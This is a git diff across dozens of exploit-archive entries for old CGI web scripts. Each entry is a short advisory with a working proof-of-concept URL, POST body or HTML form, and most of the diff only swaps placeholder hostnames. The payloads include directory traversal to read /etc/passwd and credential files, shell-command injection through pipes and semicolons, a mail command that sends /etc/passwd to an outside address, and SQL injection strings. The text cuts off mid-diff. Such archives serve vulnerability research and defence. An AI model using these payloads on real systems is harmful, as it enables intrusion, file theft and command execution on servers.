a/platforms/cgi/remote/20059.txt +++ b/platforms/cgi/remote/20059.txt @@ -4,4 +4,4 @@ Poll It is a Perl CGI application used to create and maintain opinion polls on w This can lead to unauthorized file reads, as well as potentially other compromises. -http: //target/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi?data_dir=/etc/passwd%00 \ No newline at end of file +http: //target/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi?data_dir=/etc/passwd%00 \ No newline at end of file diff --git a/platforms/cgi/remote/20085.txt b/platforms/cgi/remote/20085.txt index 78bfcc521..73fc2f745 100755 --- a/platforms/cgi/remote/20085.txt +++ b/platforms/cgi/remote/20085.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/1485/info Alibaba Web Server fails to filter piped commands when executing cgi-scripts. This can be used to execute commands with the privileges of the web server process on a target machine. http://victim/cgi-bin/post32.exe|echo%20>c:\text.txt -http://victim/cgi-bin/lsindex2.bat|dir%20c:\[dir] \ No newline at end of file +http://victim/cgi-bin/lsindex2.bat|dir%20c:\[dir] \ No newline at end of file diff --git a/platforms/cgi/remote/20183.pl b/platforms/cgi/remote/20183.pl index f8b227db1..4588fc351 100755 --- a/platforms/cgi/remote/20183.pl +++ b/platforms/cgi/remote/20183.pl @@ -30,7 +30,7 @@ author=<username>&apassword=<password>&email=<email address>&name=<username>&pas # Exploit: # hmmm me thinks i should change the HTTP_REFERER to: # -# http://server/cgi/news.cgi +# http://www.server.com/cgi/news.cgi # # Using this exploit will add an author account with user kid # and passwerd of ur choice. diff --git a/platforms/cgi/remote/20218.txt b/platforms/cgi/remote/20218.txt index 09c6d24cb..258408eb4 100755 --- a/platforms/cgi/remote/20218.txt +++ b/platforms/cgi/remote/20218.txt @@ -8,4 +8,4 @@ Additionally, <file> does not need to be numerical, and the .txt extension can b By exploiting these problems in a single request, a malicious user can view any file that the webserver has access to. -http://www.my_server/cgi-bin/YaBB.pl?board=news&action=display&num=../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.my_target.com/cgi-bin/YaBB.pl?board=news&action=display&num=../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/cgi/remote/20242.txt b/platforms/cgi/remote/20242.txt index 1e445b936..4433fe8df 100755 --- a/platforms/cgi/remote/20242.txt +++ b/platforms/cgi/remote/20242.txt @@ -45,4 +45,4 @@ S97IS Service manager failed to process request Note that the line: Error E1-0133 (Query Builder): Error parsing query: 81888e0 -This shows that the server is interpreting the %x argument passed in the URI as the "queryText" value. Supplying a carefully built value for the queryText argument an attacker can change the program flow and execute arbitrary code. \ No newline at end of file +This shows that the server is interpreting the %x argument passed in the URI as the "queryText" value. Supplying a carefully built value for the queryText argument an attacker can change the program flow and execute arbitrary code. \ No newline at end of file diff --git a/platforms/cgi/remote/20244.txt b/platforms/cgi/remote/20244.txt index b38873d17..be30aab33 100755 --- a/platforms/cgi/remote/20244.txt +++ b/platforms/cgi/remote/20244.txt @@ -6,4 +6,4 @@ A vulnerability exists in one of the CGI applications implemented by Web+. It is Successful exploitation of this vulnerability could aid in further and more complicated attacks against the target site. -http://target/cgi-bin/webplus.exe?about \ No newline at end of file +http://target/cgi-bin/webplus.exe?about \ No newline at end of file diff --git a/platforms/cgi/remote/20245.txt b/platforms/cgi/remote/20245.txt index 76d7ea679..d3b03450f 100755 --- a/platforms/cgi/remote/20245.txt +++ b/platforms/cgi/remote/20245.txt @@ -6,4 +6,4 @@ Web+ can be used to display the source code of WML files residing on an NTFS par Successful exploitation of this vulnerability may reveal source code, table names, usernames, passwords, and other forms of confidential data. -http://target/cgi-bin/webplus.exe?script=test.wml::$DATA \ No newline at end of file +http://target/cgi-bin/webplus.exe?script=test.wml::$DATA \ No newline at end of file diff --git a/platforms/cgi/remote/20273.txt b/platforms/cgi/remote/20273.txt index ade89ef76..e10dfb986 100755 --- a/platforms/cgi/remote/20273.txt +++ b/platforms/cgi/remote/20273.txt @@ -5,4 +5,4 @@ The 'cached_feed' CGI script supplied by newsfeed vendor Moreover.com contains a Version 1.0 of the product is affected. The vendor repaired the script and released version 2.0 before this vulnerability was published. -http://www.example.com/cgi-bin/cached_feed.cgi?../../../.+/etc/passwd \ No newline at end of file +http://www.example.com/cgi-bin/cached_feed.cgi?../../../.+/etc/passwd \ No newline at end of file diff --git a/platforms/cgi/remote/20277.txt b/platforms/cgi/remote/20277.txt index 483e900e6..4f2caeff0 100755 --- a/platforms/cgi/remote/20277.txt +++ b/platforms/cgi/remote/20277.txt @@ -4,4 +4,4 @@ Master Index is a commercially supported search engine. Certain versions of this Example: -http://server/cgi-bin/search/search.cgi?keys=*&prc=any&catigory=../../../../../.. ../../etc \ No newline at end of file +http://www.target.com/cgi-bin/search/search.cgi?keys=*&prc=any&catigory=../../../../../.. ../../etc \ No newline at end of file diff --git a/platforms/cgi/remote/20433.txt b/platforms/cgi/remote/20433.txt index 241d69a8d..501812fdf 100755 --- a/platforms/cgi/remote/20433.txt +++ b/platforms/cgi/remote/20433.txt @@ -6,4 +6,4 @@ Depending on the specific script used, the following syntaxes have been shown to 1) ;command 2) ";command -3) ;command; \ No newline at end of file +3) ;command; \ No newline at end of file diff --git a/platforms/cgi/remote/20434.txt b/platforms/cgi/remote/20434.txt index 49b61ec70..e7d78db83 100755 --- a/platforms/cgi/remote/20434.txt +++ b/platforms/cgi/remote/20434.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2001/info Miva's htmlscript CGI program provides a unique scripting language with HTML type tags. (Note that htmlscript is an older product no longer distributed by Miva under that name.) Versions of the htmlscript interpreter (a CGI script) prior to 2.9932 are vulnerable to a file reading directory traversal attack using relative paths (eg., "../../../../../../etc/passwd"). An attacker need only append this path as a variable passed to the script via a URL. The contents of any file to which the web server process has read access can be retrieved using this method. -http://host/cgi-bin/htmlscript?../../../../../../../etc/somefile \ No newline at end of file +http://host/cgi-bin/htmlscript?../../../../../../../etc/somefile \ No newline at end of file diff --git a/platforms/cgi/remote/20435.txt b/platforms/cgi/remote/20435.txt index 75296d7e0..ea98ea0a4 100755 --- a/platforms/cgi/remote/20435.txt +++ b/platforms/cgi/remote/20435.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/2003/info NCSA HTTPd and comes with a CGI sample shell script, test-cgi, located by default in /cgi-bin. This script does not properly enclose an "ECHO" command in quotes, and as a result "shell expansion" of the * character can occur under some configurations. This allows a remote attacker to obtain file listings, by passing *, /*, /usr/* etc., as variables. The ECHO command expands the * to give a directory listing of the specified directory. This could be used to gain information to facilitate future attacks. This is identical to a problem with another sample script, nph-test-cgi. See references. http://target/cgi-bin/test-cgi?/* -http://target/cgi-bin/test-cgi?* \ No newline at end of file +http://target/cgi-bin/test-cgi?* \ No newline at end of file diff --git a/platforms/cgi/remote/20442.html b/platforms/cgi/remote/20442.html index f3633d1cf..329c7879d 100755 --- a/platforms/cgi/remote/20442.html +++ b/platforms/cgi/remote/20442.html @@ -10,4 +10,4 @@ Classifieds.cgi is a perl script (part of the classifieds package by Greg Matthe <input type="hidden" name="return" value="duke@viper.net.au"> <input type="hidden" name="mailprog" value="touch /tmp/bighole"> <b>Which department do you want your ad to be placed in or you would like to view? -</form> \ No newline at end of file +</form> \ No newline at end of file diff --git a/platforms/cgi/remote/20444.txt b/platforms/cgi/remote/20444.txt index 542449a78..5f065268f 100755 --- a/platforms/cgi/remote/20444.txt +++ b/platforms/cgi/remote/20444.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2020/info Classifieds.cgi is a perl script (part of the classifieds package by Greg Matthews) which provides simple classified ads to web sites. Due to improper input validation it can be used to read files on the host machine, with the privileges of the web server. This can be accomplished by embedding the input redirection metacharacter along with a filename into the form field used for e-mail address entry (<input name=return>). Any file that the web server process has read access to can be retrieved. -Submit email@host</etc/passwd as e-mail address. \ No newline at end of file +Submit email@host</etc/passwd as e-mail address. \ No newline at end of file diff --git a/platforms/cgi/remote/20447.txt b/platforms/cgi/remote/20447.txt index 3b8dbc486..2fba6e7bb 100755 --- a/platforms/cgi/remote/20447.txt +++ b/platforms/cgi/remote/20447.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2024/info The freeware guestbook package from freeware.webcom.se provides a web-based guestbook feature, using CGI. Some versions of this guestbook (undetermined at the time of writing) are vulnerable to an attack allowing an intruder to retrieve the contents of arbitrary files to which the web server has access. This can be accomplished by specifying the path and filename as the parameter "template" to either rguest.exe or wguest.exe - see Exploit for example. These two programs typically reside in /cgi-bin. -http://server/cgi-bin/rguest.exe?template=c:\winnt\system32\$winnt$.inf will return the $winnt$.inf file \ No newline at end of file +http://server/cgi-bin/rguest.exe?template=c:\winnt\system32\$winnt$.inf will return the $winnt$.inf file \ No newline at end of file diff --git a/platforms/cgi/remote/20448.txt b/platforms/cgi/remote/20448.txt index 0d7219377..88a2735e0 100755 --- a/platforms/cgi/remote/20448.txt +++ b/platforms/cgi/remote/20448.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2025/info Novell NetWare Web Server 2.x versions came with a CGI written in BASIC called convert.bas. This script allows retrieval of files outside of the normal web server context. This can be accomplished simply by submitting the filename and path as a parameter to the script, using relative paths (../../) to traverse directories. Access may or may not be limited to the SYS: volume. -http://targethost/scripts/convert.bas?../../anything/you/want/to/view \ No newline at end of file +http://targethost/scripts/convert.bas?../../anything/you/want/to/view \ No newline at end of file diff --git a/platforms/cgi/remote/20463.txt b/platforms/cgi/remote/20463.txt index 585688dd5..74c6efc74 100755 --- a/platforms/cgi/remote/20463.txt +++ b/platforms/cgi/remote/20463.txt @@ -8,4 +8,4 @@ Content-length: 85 (replace this with the actual length of the "exploit" line) query=';mail+drazvan\@pop3.kappa.ro</etc/passwd;echo'&output=subject&domain=paragraph -[...] But to make it work for your system too, you'll have to add other parameters, like idx_dir and data_type who are required by the script in its original version. Just make a normal query to your WebGais server and see what all the parameters are. But remember to use "output" and "domain" as specified in my exploit. Otherwise you will end up in some other place of the script and nothing will happen. \ No newline at end of file +[...] But to make it work for your system too, you'll have to add other parameters, like idx_dir and data_type who are required by the script in its original version. Just make a normal query to your WebGais server and see what all the parameters are. But remember to use "output" and "domain" as specified in my exploit. Otherwise you will end up in some other place of the script and nothing will happen. \ No newline at end of file diff --git a/platforms/cgi/remote/20483.txt b/platforms/cgi/remote/20483.txt index 4cf86827c..39e9fe1c5 100755 --- a/platforms/cgi/remote/20483.txt +++ b/platforms/cgi/remote/20483.txt @@ -6,4 +6,4 @@ telnet target.machine.com 80 POST /cgi-bin/websendmail HTTP/1.0 Content-length: xxx (should be replaced with the actual length of the string passed to the server, in this case xxx=90) -receiver=;mail+BUGTRAQ\@NETSPACE.ORG</etc/passwd;&sender=a&rtnaddr=a&subject=a&content=a \ No newline at end of file +receiver=;mail+BUGTRAQ\@NETSPACE.ORG</etc/passwd;&sender=a&rtnaddr=a&subject=a&content=a \ No newline at end of file diff --git a/platforms/cgi/remote/20497.html b/platforms/cgi/remote/20497.html index 0dced463f..7b8aaef0f 100755 --- a/platforms/cgi/remote/20497.html +++ b/platforms/cgi/remote/20497.html @@ -15,4 +15,4 @@ Command: <input type=text name=config value="../../../../../../../../bin/ping <input type=hidden name="e-mail" value="foo@bar.net"> <input type=hidden name=FavoriteColor value=Black> <input type=submit value=run> -</form> \ No newline at end of file +</form> \ No newline at end of file diff --git a/platforms/cgi/remote/20503.html b/platforms/cgi/remote/20503.html index a2bc98c60..d2afe5d3a 100755 --- a/platforms/cgi/remote/20503.html +++ b/platforms/cgi/remote/20503.html @@ -10,4 +10,4 @@ Command: <input type=text name=MyEmail value=";"> <input type=hidden name=redirect value="http://goatse.cx"> <input type=submit name=submit value="run"> </form> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/cgi/remote/20504.html b/platforms/cgi/remote/20504.html index 3665621a2..ab9f1924d 100755 --- a/platforms/cgi/remote/20504.html +++ b/platforms/cgi/remote/20504.html @@ -10,4 +10,4 @@ The problem occurs in the method in which the script checks input. Due to insuff Command: <input type=text name=file value="../../../../../../../../bin/ping -c 5 www.foo.com|"> <input type=submit value=run> </form> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/cgi/remote/20506.html b/platforms/cgi/remote/20506.html index 19a12375d..6dc30fb60 100755 --- a/platforms/cgi/remote/20506.html +++ b/platforms/cgi/remote/20506.html @@ -12,4 +12,4 @@ Make a html form similar to:                 value=" | <COMMAND> |">                  <input type=hidden name="NAME" value="user">                  <input type=submit> -</form> \ No newline at end of file +</form> \ No newline at end of file diff --git a/platforms/cgi/remote/20522.txt b/platforms/cgi/remote/20522.txt index 3101e5bca..79905457d 100755 --- a/platforms/cgi/remote/20522.txt +++ b/platforms/cgi/remote/20522.txt @@ -8,4 +8,4 @@ Successful exploitation of this vulnerability could lead to the disclosure of se It should be noted that the attacker may only read files which are accessible to the web-server process. -http://target/technote/technote/print.cgi?board=../../../../../../../../etc/passwd%00 \ No newline at end of file +http://target/technote/technote/print.cgi?board=../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/cgi/remote/20527.txt b/platforms/cgi/remote/20527.txt index 0520087bc..09e775ced 100755 --- a/platforms/cgi/remote/20527.txt +++ b/platforms/cgi/remote/20527.txt @@ -6,4 +6,4 @@ Under very specific circumstances, if webdriver is called directly, without any John Wright <john@dryfish.org> notes that this vulnerability will only be exploitable under a particular misconfiguration, and that by default, the above-described URL will result only in a "404 Asset not found", etc, and not in the display of a remote administration page. -http://example.com/cgi-bin/webdriver \ No newline at end of file +http://example.com/cgi-bin/webdriver \ No newline at end of file diff --git a/platforms/cgi/remote/20533.txt b/platforms/cgi/remote/20533.txt index ee4f09983..ce68ada19 100755 --- a/platforms/cgi/remote/20533.txt +++ b/platforms/cgi/remote/20533.txt @@ -4,6 +4,6 @@ bbs_forum.cgi is a popular Perl cgi script from eXtropia.com. It supports the cr Version 1.0 of bbs_forum.cgi fails to properly validate user-supplied, URL-encoded input to the read environment variable. Maliciously-formed URLs submitted to the script may contain references to files on the host's filesystem, as well as shell commands which will be run with the privilege level of the webserver (ie, user 'nobody'). As a result, unpatched affected versions of the script permit an attacker to execute arbitrary code and to read arbitrary files on the vulnerable system. -www.web*server/cgi-bin/bbs_forum.cgi?forum=<forum_name>&read=../../../../../../etc/hosts.allow +www.web*site.com/cgi-bin/bbs_forum.cgi?forum=<forum_name>&read=../../../../../../etc/hosts.allow -note: The section: <forum_name> must be a valid forum on the webserver. \ No newline at end of file +note: The section: <forum_name> must be a valid forum on the webserver. \ No newline at end of file diff --git a/platforms/cgi/remote/20567.txt b/platforms/cgi/remote/20567.txt index 22536f889..e159a8ec2 100755 --- a/platforms/cgi/remote/20567.txt +++ b/platforms/cgi/remote/20567.txt @@ -4,4 +4,4 @@ PHP/FI is an software suite designed to offer enhanced features to sites served A problem with the software could allow remote users access to restricted resources. Due to a design problem in the software package, the PHP/FI software package allows a remote user to browse directories and view files stored on the local host. It is possible to view only those files which the UID of the local httpd process has access to read. A user with malicious intent could use this vulnerability to gather information on the local host, and possibly gain remote access to encrypted user passwords on a system not using the shadow password suite. -http://www.someurl.com/php.cgi?/path/to/file \ No newline at end of file +http://www.someurl.com/php.cgi?/path/to/file \ No newline at end of file diff --git a/platforms/cgi/remote/20570.txt b/platforms/cgi/remote/20570.txt index 65092ad8f..661d8e759 100755 --- a/platforms/cgi/remote/20570.txt +++ b/platforms/cgi/remote/20570.txt @@ -12,4 +12,4 @@ http://target/cgi-bin/dumpenv.pl The following is an example of the path to login as admin: -http://target/session/adminlogin?RCpage=/sysadmin/index.stm \ No newline at end of file +http://target/session/adminlogin?RCpage=/sysadmin/index.stm \ No newline at end of file diff --git a/platforms/cgi/remote/20606.pl b/platforms/cgi/remote/20606.pl index 923f0bd53..d1d63a0b6 100755 --- a/platforms/cgi/remote/20606.pl +++ b/platforms/cgi/remote/20606.pl @@ -27,10 +27,10 @@ $usage = Recommended [-300,+300] example) - crazy.pl http://server:8080/cgi-bin/vulnerable.cgi - crazy.pl -o -47 server/cgi-bin/vulnerable.cgi + crazy.pl http://target.com:8080/cgi-bin/vulnerable.cgi + crazy.pl -o -47 target.com/cgi-bin/vulnerable.cgi crazy.pl -c 'echo vulnerable.cgi has a security hole! | mail root' \\ - server/cgi-bin/vulnerable.cgi + target.com/cgi-bin/vulnerable.cgi "; diff --git a/platforms/cgi/remote/20609.txt b/platforms/cgi/remote/20609.txt index 9ce5a5e59..84655763a 100755 --- a/platforms/cgi/remote/20609.txt +++ b/platforms/cgi/remote/20609.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2336/info Requesting a specially crafted URL will make it possible for a remote attacker to disclose the physical path to the web root and peruse the entire directory listing. -http://target/cgi/ \ No newline at end of file +http://target/cgi/ \ No newline at end of file diff --git a/platforms/cgi/remote/20611.txt b/platforms/cgi/remote/20611.txt index 0a82ba342..8d236f7c1 100755 --- a/platforms/cgi/remote/20611.txt +++ b/platforms/cgi/remote/20611.txt @@ -8,4 +8,4 @@ Update: It was originally believed that this issue does not affect Anaconda Foun http://www.example.com/cgi-bin/apexec.pl?etype=odp&template=../../../../../../../../../directory/filename.ext%00.html&passurl=/category/ -http://www.example.com/cgi-bin/apexec.pl?template=/etc/passwd%%0000.html \ No newline at end of file +http://www.example.com/cgi-bin/apexec.pl?template=/etc/passwd%%0000.html \ No newline at end of file diff --git a/platforms/cgi/remote/20623.txt b/platforms/cgi/remote/20623.txt index 173a9804f..d2d1777c7 100755 --- a/platforms/cgi/remote/20623.txt +++ b/platforms/cgi/remote/20623.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2361/info It is possible for a remote user to gain read access to directories and files outside the root directory of Carey Internet Services Commerce.cgi. Requesting a specially crafted URL composed of '/../%00' along with the known filename or directory will disclose the requested resource. -http://target/cgi/commerce.cgipage=../../../../etc/hosts%00filename.html \ No newline at end of file +http://target/cgi/commerce.cgipage=../../../../etc/hosts%00filename.html \ No newline at end of file diff --git a/platforms/cgi/remote/20629.txt b/platforms/cgi/remote/20629.txt index 859cd2fe0..f738e8917 100755 --- a/platforms/cgi/remote/20629.txt +++ b/platforms/cgi/remote/20629.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2370/info A remote user could gain read access to known files outside of the root directory where Way-Board resides. Requesting a specially crafted URL composed of '%00' sequences along with the known filename will disclose the requested file. -http://target/way-board/way-board.cgi?db=url_to_any_file%00 \ No newline at end of file +http://target/way-board/way-board.cgi?db=url_to_any_file%00 \ No newline at end of file diff --git a/platforms/cgi/remote/20630.txt b/platforms/cgi/remote/20630.txt index 0d32d49f4..2701201f1 100755 --- a/platforms/cgi/remote/20630.txt +++ b/platforms/cgi/remote/20630.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2371/info A remote user could gain read access to known files outside of the root directory where Martin Hamilton ROADS resides. Requesting a specially crafted URL composed of '%00' sequences along with the known filename will disclose the requested file. -http://target/ROADS/cgi-bin/search.pl?form=url_to_any_file%00 \ No newline at end of file +http://target/ROADS/cgi-bin/search.pl?form=url_to_any_file%00 \ No newline at end of file diff --git a/platforms/cgi/remote/20632.txt b/platforms/cgi/remote/20632.txt index 5b2065e1a..777c6f996 100755 --- a/platforms/cgi/remote/20632.txt +++ b/platforms/cgi/remote/20632.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2372/info A specially crafted URL composed of a known filename, will disclose the requested file residing on a machine running WebPALS. This vulnerability will also allow an attacker to execute arbitrary code with root privileges. -http://target/pals-cgi?palsAction=restart&documentName=url_to_command \ No newline at end of file +http://target/pals-cgi?palsAction=restart&documentName=url_to_command \ No newline at end of file diff --git a/platforms/cgi/remote/20633.txt b/platforms/cgi/remote/20633.txt index e6a30b3d2..c795507e8 100755 --- a/platforms/cgi/remote/20633.txt +++ b/platforms/cgi/remote/20633.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/2374/info Making an invalid request to a machine running Brightstation Muscat, will disclose the physical path to the root directory. http://target/cgi-bin/empower?DB=UkRteamHole -http://target/cgi-bin/empower?DB=UkRteamHole \ No newline at end of file +http://target/cgi-bin/empower?DB=UkRteamHole \ No newline at end of file diff --git a/platforms/cgi/remote/20683.txt b/platforms/cgi/remote/20683.txt index 5606a333b..49a8b0f8e 100755 --- a/platforms/cgi/remote/20683.txt +++ b/platforms/cgi/remote/20683.txt @@ -18,4 +18,4 @@ will disclose /etc/passwd, if readable by the webserver. http://www.example.com/cgi-bin/ikonboard/help.cgi?helpon=../members/[member].cgi%00 -discloses the ikonboard account password for [member], including admin acounts. \ No newline at end of file +discloses the ikonboard account password for [member], including admin acounts. \ No newline at end of file diff --git a/platforms/cgi/remote/20686.txt b/platforms/cgi/remote/20686.txt index ce857193a..c3d1ecff5 100755 --- a/platforms/cgi/remote/20686.txt +++ b/platforms/cgi/remote/20686.txt @@ -4,4 +4,4 @@ A vulnerability exists in a CGI script called "The Free Online Dictionary of Com Due to a failure to properly validate user supplied input, a remote attacker can compose and submit requests for files readable by the webserver, as well as executing certain commands (those requiring no command line parameters) with the privilege level of the webserver process. -http://example.com/foldoc/template.cgi?template.cgi \ No newline at end of file +http://example.com/foldoc/template.cgi?template.cgi \ No newline at end of file diff --git a/platforms/cgi/remote/20714.txt b/platforms/cgi/remote/20714.txt index b07d170cc..d0a9bfdf3 100755 --- a/platforms/cgi/remote/20714.txt +++ b/platforms/cgi/remote/20714.txt @@ -4,4 +4,4 @@ Clipper is a headline-gathering tool from Anaconda! Partners which, in certain v By including '/../' sequences in requested URLs, an attacker can cause the retrieval of arbitrary files, compromising the privacy of user data and potentially obtaining information which could be used to further compromise the host's security. -http://server/cgi-bin/anacondaclip.pl?template=../../../../../../../../../../../../../../../../../../etc/passwd \ No newline at end of file +http://www.target.com/cgi-bin/anacondaclip.pl?template=../../../../../../../../../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/cgi/remote/20725.txt b/platforms/cgi/remote/20725.txt index 9f6b052c1..684eb5cb9 100755 --- a/platforms/cgi/remote/20725.txt +++ b/platforms/cgi/remote/20725.txt @@ -13,4 +13,4 @@ http://www.example.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../ http://www.example.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd http://www.example .com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../. -./../../../../bin/cat%20ustorekeeper.pl| \ No newline at end of file +./../../../../bin/cat%20ustorekeeper.pl| \ No newline at end of file diff --git a/platforms/cgi/remote/20752.txt b/platforms/cgi/remote/20752.txt index cfffaeeb3..ae3f34445 100755 --- a/platforms/cgi/remote/20752.txt +++ b/platforms/cgi/remote/20752.txt @@ -8,4 +8,4 @@ Therefore, it is possible for a remote user to execute arbitrary SQL queries usi http://www.TARGET/content.pl?group=49&id=140a -http://www.TARGET/content.pl?group=49&id=140%20or%20id>0%20or%20ls_id<1000%20or%20kategorie<10000%20or%20kategorie>10%20or%20ls_id>1%20or%20id<10%20or%20kategorie<10%20or%20kategorie>4&shortdetail=1 \ No newline at end of file +http://www.TARGET/content.pl?group=49&id=140%20or%20id>0%20or%20ls_id<1000%20or%20kategorie<10000%20or%20kategorie>10%20or%20ls_id>1%20or%20id<10%20or%20kategorie<10%20or%20kategorie>4&shortdetail=1 \ No newline at end of file diff --git a/platforms/cgi/remote/20809.html b/platforms/cgi/remote/20809.html index 892a5b842..9c283b21e 100755 --- a/platforms/cgi/remote/20809.html +++ b/platforms/cgi/remote/20809.html @@ -4,7 +4,7 @@ Excite for Web Servers 1.1 (EWS) is a search engine suite for web servers runnin <html> <head><title>exploit</title> <body> -<p><FORM ACTION="http://EWS.server/cgi-bin/AT-generate.cgi" METHOD=POST> +<p><FORM ACTION="http://EWS.SERVER.COM/cgi-bin/AT-generate.cgi" METHOD=POST> <INPUT TYPE="hidden" NAME="db" VALUE="personal"> <INPUT TYPE="submit" NAME="Reload" VALUE="Reload"> Reload this page, in case the log file or status has changed. @@ -16,4 +16,4 @@ Reload this page, in case the log file or status has changed. </body> </html> -"Of course you should replace EWS.server and ENCRYPTEDPASS with values that make sense for your situation. By accessing this page and clicking on the button you get to a menu that behaves exactly as if you knew the unencrypted password." \ No newline at end of file +"Of course you should replace EWS.SERVER.COM and ENCRYPTEDPASS with values that make sense for your situation. By accessing this page and clicking on the button you get to a menu that behaves exactly as if you knew the unencrypted password." \ No newline at end of file diff --git a/platforms/cgi/remote/20831.txt b/platforms/cgi/remote/20831.txt index 4acd5c8bf..4ab3ee1f7 100755 --- a/platforms/cgi/remote/20831.txt +++ b/platforms/cgi/remote/20831.txt @@ -10,4 +10,4 @@ This can permit disclosure of confidential data and sensitive system files which Additionally, by appending a properly formatted echo command argumented by a filename writable by the webserver, this flaw allows the attacker to overwrite this file with A1Stats' output. -server/cgi-bin/a1stats/a1disp2.cgi?../../../../../../../etc/passwd \ No newline at end of file +www.server.com/cgi-bin/a1stats/a1disp2.cgi?../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/cgi/remote/20832.txt b/platforms/cgi/remote/20832.txt index e0d5e3a4b..3235dfe3f 100755 --- a/platforms/cgi/remote/20832.txt +++ b/platforms/cgi/remote/20832.txt @@ -10,4 +10,4 @@ This can permit disclosure of confidential data and sensitive system files which Additionally, by appending a properly formatted echo command argumented by a filename writable by the webserver, this flaw allows the attacker to overwrite this file with A1Stats' output. -server/cgi-bin/a1stats/a1disp3.cgi?../../../../../../../etc/passwd \ No newline at end of file +www.server.com/cgi-bin/a1stats/a1disp3.cgi?../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/cgi/remote/20833.txt b/platforms/cgi/remote/20833.txt index 5862219e9..7f66150bf 100755 --- a/platforms/cgi/remote/20833.txt +++ b/platforms/cgi/remote/20833.txt @@ -10,4 +10,4 @@ This can permit disclosure of confidential data and sensitive system files which Additionally, by appending a properly formatted echo command argumented by a filename writable by the webserver, this flaw allows the attacker to overwrite this file with A1Stats' output. -server/cgi-bin/a1stats/a1disp4.cgi?../../../../../../../etc/passwd \ No newline at end of file +www.server.com/cgi-bin/a1stats/a1disp4.cgi?../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/cgi/remote/20878.txt b/platforms/cgi/remote/20878.txt index e9b013197..950528f5e 100755 --- a/platforms/cgi/remote/20878.txt +++ b/platforms/cgi/remote/20878.txt @@ -7,4 +7,4 @@ Source Viewer accepts an argument, 'loc', which it uses as the filename when ope The following URL demonstrates the problem: http://localhost/cgi-bin/viewsrc.cgi? -loc=../[any file outside restricted directory] \ No newline at end of file +loc=../[any file outside restricted directory] \ No newline at end of file diff --git a/platforms/cgi/remote/20895.txt b/platforms/cgi/remote/20895.txt index 065df65a3..9580e27e2 100755 --- a/platforms/cgi/remote/20895.txt +++ b/platforms/cgi/remote/20895.txt @@ -4,4 +4,4 @@ WebTrends Live is a web-based reporting service which provides interactive track It is possible to view the source code of arbitrary scripts on the WebTrends Live webserver. This is accomplished by crafting a URL with an encoded space after the filename of the script. -http://host/remote_login.pl%20 \ No newline at end of file +http://host/remote_login.pl%20 \ No newline at end of file diff --git a/platforms/cgi/remote/20939.txt b/platforms/cgi/remote/20939.txt index 6868a4256..b74df818f 100755 --- a/platforms/cgi/remote/20939.txt +++ b/platforms/cgi/remote/20939.txt @@ -4,4 +4,4 @@ DCShop is a GCI-based ecommerce system from DCScripts. Under certain configurations, a beta version of this product can allow a remote user to request and obtain files containing confidential order data, including credit card and other private customer information, as well as the DCShop admnistrator login ID and password. -http://theTargetHost/cgi-bin/DCShop/Auth_data/auth_user_file.txt \ No newline at end of file +http://theTargetHost/cgi-bin/DCShop/Auth_data/auth_user_file.txt \ No newline at end of file diff --git a/platforms/cgi/remote/20940.txt b/platforms/cgi/remote/20940.txt index b456c409e..42388f259 100755 --- a/platforms/cgi/remote/20940.txt +++ b/platforms/cgi/remote/20940.txt @@ -7,4 +7,4 @@ ttawebtop.cgi is a CGI script included with the Tarantella, formerly SCO. ttaweb ttawebtop.cgi does not sufficiently validate input. In not doing so, it's possible for a remote user to traverse the directory structure, and view any file that is readable by the webserver process. -http://xxx/tarantella/cgi-bin/ttawebtop.cgi/?action=start&pg=../../../../../../../../../../../../../../../etc/passwd \ No newline at end of file +http://xxx/tarantella/cgi-bin/ttawebtop.cgi/?action=start&pg=../../../../../../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/cgi/remote/21008.txt b/platforms/cgi/remote/21008.txt index a5b9a4352..339419bed 100755 --- a/platforms/cgi/remote/21008.txt +++ b/platforms/cgi/remote/21008.txt @@ -7,4 +7,4 @@ Interactive Story does not filter '../' sequences from user input submitted to a The disclosed information may be used in further attacks on the host. If an attacker sets the "next" field to something like -../../../../../../../../../../etc/passwd%00, Interactive Story will open and display the password file. \ No newline at end of file +../../../../../../../../../../etc/passwd%00, Interactive Story will open and display the password file. \ No newline at end of file diff --git a/platforms/cgi/remote/21068.txt b/platforms/cgi/remote/21068.txt index 1a9c1befe..eb6c7c6ef 100755 --- a/platforms/cgi/remote/21068.txt +++ b/platforms/cgi/remote/21068.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/3175/info SIX-webboard 2.01 does not filter ".." and "/" from user input, allowing users to enter arbitrary values in order to view or retrieve files not normally accessible to them from the remote host. -http://server/cgi-bin/webboard/generate.cgi/?content=../../../../../../../../../directory/file%00&board=boardsname \ No newline at end of file +http://www.target.com/cgi-bin/webboard/generate.cgi/?content=../../../../../../../../../directory/file%00&board=boardsname \ No newline at end of file diff --git a/platforms/cgi/remote/21102.txt b/platforms/cgi/remote/21102.txt index 7e8990cad..a061a2782 100755 --- a/platforms/cgi/remote/21102.txt +++ 